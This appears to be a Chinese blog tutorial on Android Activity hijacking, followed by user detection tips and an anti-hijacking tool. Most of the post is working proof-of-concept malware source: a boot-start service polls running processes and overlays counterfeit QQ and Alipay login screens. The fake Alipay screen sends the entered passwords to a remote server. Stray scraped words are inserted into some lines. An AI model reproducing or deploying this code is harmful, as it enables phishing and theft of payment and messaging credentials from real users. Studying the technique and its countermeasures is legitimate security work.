一、Activity調度機制javascript
android爲了提升用戶的用戶體驗,對於不一樣的應用程序之間的切換,基本上是無縫。他們切換的只是一個activity,讓切換的到前臺顯示,另外一個應用則被覆蓋到後臺,不可見。Activity的概念至關於一個與用戶交互的界面。而Activity的調度是交由Android系統中的AmS管理的。AmS即ActivityManagerService(Activity管理服務),各個應用想啓動或中止一個進程,都是先報告給AmS。 當AmS收到要啓動或中止Activity的消息時,它先更新內部記錄,再通知相應的進程運行或中止指定的Activity。當新的Activity啓動,前一個Activity就會中止,這些Activity都保留在系統中的一個Activity歷史棧中。每有一個Activity啓動,它就壓入歷史棧頂,並在手機上顯示。當用戶按下back鍵時,頂部Activity彈出,恢復前一個Activity,棧頂指向當前的Activity。 html
二、Android設計上的缺陷——Activity劫持
java
若是在啓動一個Activity時,給它加入一個標誌位FLAG_ACTIVITY_NEW_TASK,就能使它置於棧頂並立馬呈現給用戶。
可是這樣的設計卻有一個缺陷。若是這個Activity是用於盜號的假裝Activity呢?
在Android系統當中,程序能夠枚舉當前運行的進程而不須要聲明其餘權限,這樣子咱們就能夠寫一個程序,啓動一個後臺的服務,這個服務不斷地掃描當前運行的進程,當發現目標進程啓動時,就啓動一個假裝的Activity。若是這個Activity是登陸界面,那麼就能夠從中獲取用戶的帳號密碼。
android
一個運行在後臺的服務能夠作到以下兩點:1,決定哪個activity運行在前臺 2,運行本身app的activity到前臺。express
這樣,惡意的開發者就能夠對應程序進行攻擊了,對於有登錄界面的應用程序,他們能夠僞造一個如出一轍的界面,普通用戶根本沒法識別是真的仍是假。用戶輸入用戶名和密碼以後,惡意程序就能夠悄無聲息的把用戶信息上傳到服務器了。這樣是很是危險的。apache
實現原理:若是咱們註冊一個receiver,響應android.intent.action.BOOT_COMPLETED,使得開啓啓動一個service;這個service,會啓動一個計時器,不停枚舉當前進程中是否有預設的進程啓動,若是發現有預設進程,則使用FLAG_ACTIVITY_NEW_TASK啓動本身的釣魚界面,截獲正常應用的登陸憑證。服務器
三、示例
下面是示例代碼。
AndroidManifest.xml文件的代碼。網絡
[html] view plaincopyapp
<?xml version="1.0" encoding="utf-8"?> less
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.sinaapp.msdxblog.android.activityhijacking"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk android:minSdkVersion="4" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<application
android:name=".HijackingApplication"
android:icon="@drawable/icon"
android:label="@string/app_name" >
<activity
android:name=".activity.HijackingActivity"
android:theme="@style/transparent"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name=".activity.sadstories.JokeActivity" />
<activity android:name=".activity.sadstories.QQStoryActivity" />
<activity android:name=".activity.sadstories.AlipayStoryActivity" />
<receiver
android:name=".receiver.HijackingReceiver"
android:enabled="true"
android:exported="true" >
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
<service android:name=".service.HijackingService" >
</service>
</application>
</manifest>
在以上的代碼中,聲明瞭一個服務service,用於枚舉當前運行的進程。其中若是不想開機啓動的話,甚至能夠把以上receiver部分的代碼,及聲明開機啓動的權限的這一行代碼 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,僅僅須要訪問網絡的權限(向外發送獲取到的帳號密碼),單從AndroidManifest文件是看不出任何異常的。
下面是正常的Activity的代碼。在這裏只是啓動用於Activity劫持的服務。若是在上面的代碼中已經聲明瞭開機啓動,則這一步也能夠省略。
[javascript] view plaincopy
package com.sinaapp.msdxblog.android.activityhijacking.activity;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;
public class HijackingActivity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Intent intent2 = new Intent(this, HijackingService.class);
startService(intent2);
Log.w("hijacking", "activity啓動用來劫持的Service");
}
}
若是想要開機啓動,則須要一個receiver,即廣播接收器,在開機時獲得開機啓動的廣播,並在這裏啓動服務。若是沒有開機啓動(這跟上面至少要實現一處,否則服務就沒有被啓動了),則這一步能夠省略。
[java] view plaincopy
/*
* @(#)HijackingBroadcast.java Project:ActivityHijackingDemo
* Date:2012-6-7
*
* Copyright (c) 2011 CFuture09, Institute of Software,
* Guangdong Ocean University, Zhanjiang, GuangDong, China.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sinaapp.msdxblog.android.activityhijacking.receiver;
import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class HijackingReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
Log.w("hijacking", "開機啓動");
Intent intent2 = new Intent(context, HijackingService.class);
context.startService(intent2);
Log.w("hijacking", "啓動用來劫持的Service");
}
}
}
下面這個HijackingService類可就關鍵了,即用來進行Activity劫持的。
在這裏,將運行枚舉當前運行的進程,發現目標進程,彈出假裝程序。
代碼以下:
[java] view plaincopy
/*
* @(#)HijackingService.java Project:ActivityHijackingDemo
* Date:2012-6-7
*
* Copyright (c) 2011 CFuture09, Institute of Software,
* Guangdong Ocean University, Zhanjiang, GuangDong, China.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sinaapp.msdxblog.android.activityhijacking.service;
import java.util.HashMap;
import java.util.List;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningAppProcessInfo;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;
import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;
/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class HijackingService extends Service {
private boolean hasStart = false;
// 這是一個悲傷的故事……
HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();
// Timer mTimer = new Timer();
Handler handler = new Handler();
Runnable mTask = new Runnable() {
@Override
public void run() {
ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
List<RunningAppProcessInfo> appProcessInfos = activityManager
.getRunningAppProcesses();
// 枚舉進程
Log.w("hijacking", "正在枚舉進程");
for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
// 若是APP在前臺,那麼——悲傷的故事就要來了
if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
if (mSadStories.containsKey(appProcessInfo.processName)) {
// 進行劫持
hijacking(appProcessInfo.processName);
} else {
Log.w("hijacking", appProcessInfo.processName);
}
}
}
handler.postDelayed(mTask, 1000);
}
/**
* 進行劫持
* @param processName
*/
private void hijacking(String processName) {
Log.w("hijacking", "有程序要悲劇了……");
if (((HijackingApplication) getApplication())
.hasProgressBeHijacked(processName) == false) {
Log.w("hijacking", "悲劇正在發生");
Intent jackingIsComing = new Intent(getBaseContext(),
mSadStories.get(processName));
jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplication().startActivity(jackingIsComing);
((HijackingApplication) getApplication())
.addProgressHijacked(processName);
Log.w("hijacking", "已經劫持");
}
}
};
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
if (!hasStart) {
mSadStories.put("com.sinaapp.msdxblog.android.lol",
JokeActivity.class);
mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);
mSadStories.put("com.eg.android.AlipayGphone",
AlipayStoryActivity.class);
handler.postDelayed(mTask, 1000);
hasStart = true;
}
}
@Override
public boolean stopService(Intent name) {
hasStart = false;
Log.w("hijacking", "劫持服務中止");
((HijackingApplication) getApplication()).clearProgressHijacked();
return super.stopService(name);
}
}
下面是支付寶的假裝類(佈局文件就不寫了,這個是對老版本的支付寶界面的假裝,新的支付寶登陸界面已經徹底不同了。表示老版本的支付寶的界面至關蛋疼,讀從它反編譯出來的代碼苦逼地讀了整個通宵結果仍是沒讀明白。它的登陸界面各類佈局蛋疼地嵌套了十層,而我爲了實現跟它同樣的效果也蛋疼地嵌套了八層的組件)。
[java] view plaincopy
/*
* @(#)QQStoryActivity.java Project:ActivityHijackingDemo
* Date:2012-6-7
*
* Copyright (c) 2011 CFuture09, Institute of Software,
* Guangdong Ocean University, Zhanjiang, GuangDong, China.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;
import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.text.Html;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;
/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class AlipayStoryActivity extends Activity {
private EditText name;
private EditText password;
private Button mBtAlipay;
private Button mBtTaobao;
private Button mBtRegister;
private TextView mTvFindpswd;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setTheme(android.R.style.Theme_NoTitleBar);
setContentView(R.layout.alipay);
mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
mTvFindpswd.setText(Html.fromHtml("[u]找回登陸密碼[/u]"));
mBtAlipay.setSelected(true);
name = (EditText) findViewById(R.id.input_name);
password = (EditText) findViewById(R.id.input_password);
}
public void onButtonClicked(View v) {
switch (v.getId()) {
case R.id.alipay_bt_login:
HandlerThread handlerThread = new HandlerThread("send");
handlerThread.start();
new Handler(handlerThread.getLooper()).post(new Runnable() {
@Override
public void run() {
// 發送獲取到的用戶密碼
SendUtil.sendInfo(name.getText().toString(), password
.getText().toString(), "支付寶");
}
});
moveTaskToBack(true);
break;
case R.id.alipay_bt_alipay:
chooseToAlipay();
break;
case R.id.alipay_bt_taobao:
chooseToTaobao();
break;
default:
break;
}
}
private void chooseToAlipay() {
mBtAlipay.setSelected(true);
mBtTaobao.setSelected(false);
name.setHint(R.string.alipay_name_alipay_hint);
mTvFindpswd.setVisibility(View.VISIBLE);
mBtRegister.setVisibility(View.VISIBLE);
}
private void chooseToTaobao() {
mBtAlipay.setSelected(false);
mBtTaobao.setSelected(true);
name.setHint(R.string.alipay_name_taobao_hint);
mTvFindpswd.setVisibility(View.GONE);
mBtRegister.setVisibility(View.GONE);
}
}
上面的其餘代碼主要是爲了讓界面的點擊效果與真的支付寶看起來儘可能同樣。主要的代碼是發送用戶密碼的那一句。
至於SendUtil我就不提供了,它是向我寫的服務器端發送一個HTTP請求,將用戶密碼發送出去。
下面是我在學校時用來演示的PPT及APK。
四、用戶防範
android手機均有一個HOME鍵(即小房子的那個圖標),長按能夠看到近期任務 對於我所用的HTC G14而言,顯示的最近的一個是上一個運行的程序。小米顯示的最近的一個是當前運行的程序。因此,在要輸入密碼進行登陸時,能夠經過長按HOME鍵查看近期任務,以個人手機爲例,若是在登陸QQ時長按發現近期任務出現了QQ,則我如今的這個登陸界面就極有多是假裝了,切換到另外一個程序,再查看近期任務,就能夠知道這個登陸界面是來源於哪一個程序了。
若是是小米手機的話,在進行登陸時,若是查看的近期任務的第一個不是本身要登陸的那個程序的名字,則它就是假裝的。
並且這種方法也不是絕對的 能夠在AndroidManifest中相應activity下添加android:noHistory="true"這樣就不會把假裝界面顯示在最近任務中
五、反劫持
然而,若是真的爆發了這種惡意程序,咱們並不能在啓動程序時每一次都那麼當心去查看判斷當前在運行的是哪個程序,當android:noHistory="true"時上面的方法也無效 所以,前幾個星期花了一點時間寫了一個程序,叫反劫持助手。原理很簡單,就是獲取當前運行的是哪個程序,而且顯示在一個浮動窗口中,以幫忙用戶判斷當前運行的是哪個程序,防範一些釣魚程序的欺騙。
在這一次,因爲是「正當防衛」,就再也不經過枚舉來獲取當前運行的程序了,在manifest文件中增長一個權限:
android權限
[html] view plaincopy
<uses-permission android:name="android.permission.GET_TASKS" />
而後啓動程序的時候,啓動一個Service,在Service中啓動一個浮動窗口,並週期性檢測當前運行的是哪個程序,而後顯示在浮動窗口中。
程序截圖以下:
其中Service代碼以下:
[java] view plaincopy
/*
* @(#)AntiService.java Project:ActivityHijackingDemo
* Date:2012-9-13
*
* Copyright (c) 2011 CFuture09, Institute of Software,
* Guangdong Ocean University, Zhanjiang, GuangDong, China.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sinaapp.msdxblog.antihijacking.service;
import android.app.ActivityManager;
import android.app.Notification;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.util.Log;
import com.sinaapp.msdxblog.androidkit.thread.HandlerFactory;
import com.sinaapp.msdxblog.antihijacking.AntiConstants;
import com.sinaapp.msdxblog.antihijacking.view.AntiView;
/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class AntiService extends Service {
private boolean shouldLoop = false;
private Handler handler;
private ActivityManager am;
private PackageManager pm;
private Handler mainHandler;
private AntiView mAntiView;
private int circle = 2000;
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
startForeground(19901008, new Notification());
if (intent != null) {
circle = intent.getIntExtra(AntiConstants.CIRCLE, 2000);
}
Log.i("circle", circle + "ms");
if (true == shouldLoop) {
return;
}
mAntiView = new AntiView(this);
mainHandler = new Handler() {
public void handleMessage(Message msg) {
String name = msg.getData().getString("name");
mAntiView.setText(name);
};
};
pm = getPackageManager();
shouldLoop = true;
am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
handler = new Handler(
HandlerFactory.getHandlerLooperInOtherThread("anti")) {
@Override
public void handleMessage(Message msg) {
super.handleMessage(msg);
String packageName = am.getRunningTasks(1).get(0).topActivity
.getPackageName();
try {
String progressName = pm.getApplicationLabel(
pm.getApplicationInfo(packageName,
PackageManager.GET_META_DATA)).toString();
updateText(progressName);
} catch (NameNotFoundException e) {
e.printStackTrace();
}
if (shouldLoop) {
handler.sendEmptyMessageDelayed(0, circle);
}
}
};
handler.sendEmptyMessage(0);
}
private void updateText(String name) {
Message message = new Message();
Bundle data = new Bundle();
data.putString("name", name);
message.setData(data);
mainHandler.sendMessage(message);
}
@Override
public void onDestroy() {
shouldLoop = false;
mAntiView.remove();
super.onDestroy();
}
}
浮動窗口僅爲一個簡單的textview,非這次的技術重點,在這裏省略不講。
固然,從以上代碼也能夠看出本程序只能防範經過Activity做爲釣魚界面的程序,由於它是經過運行的頂層的Activity來獲取程序名稱的,對WooYun最近提到的另外一個釣魚方法它仍是無能爲力的,關於這一點將在下次談。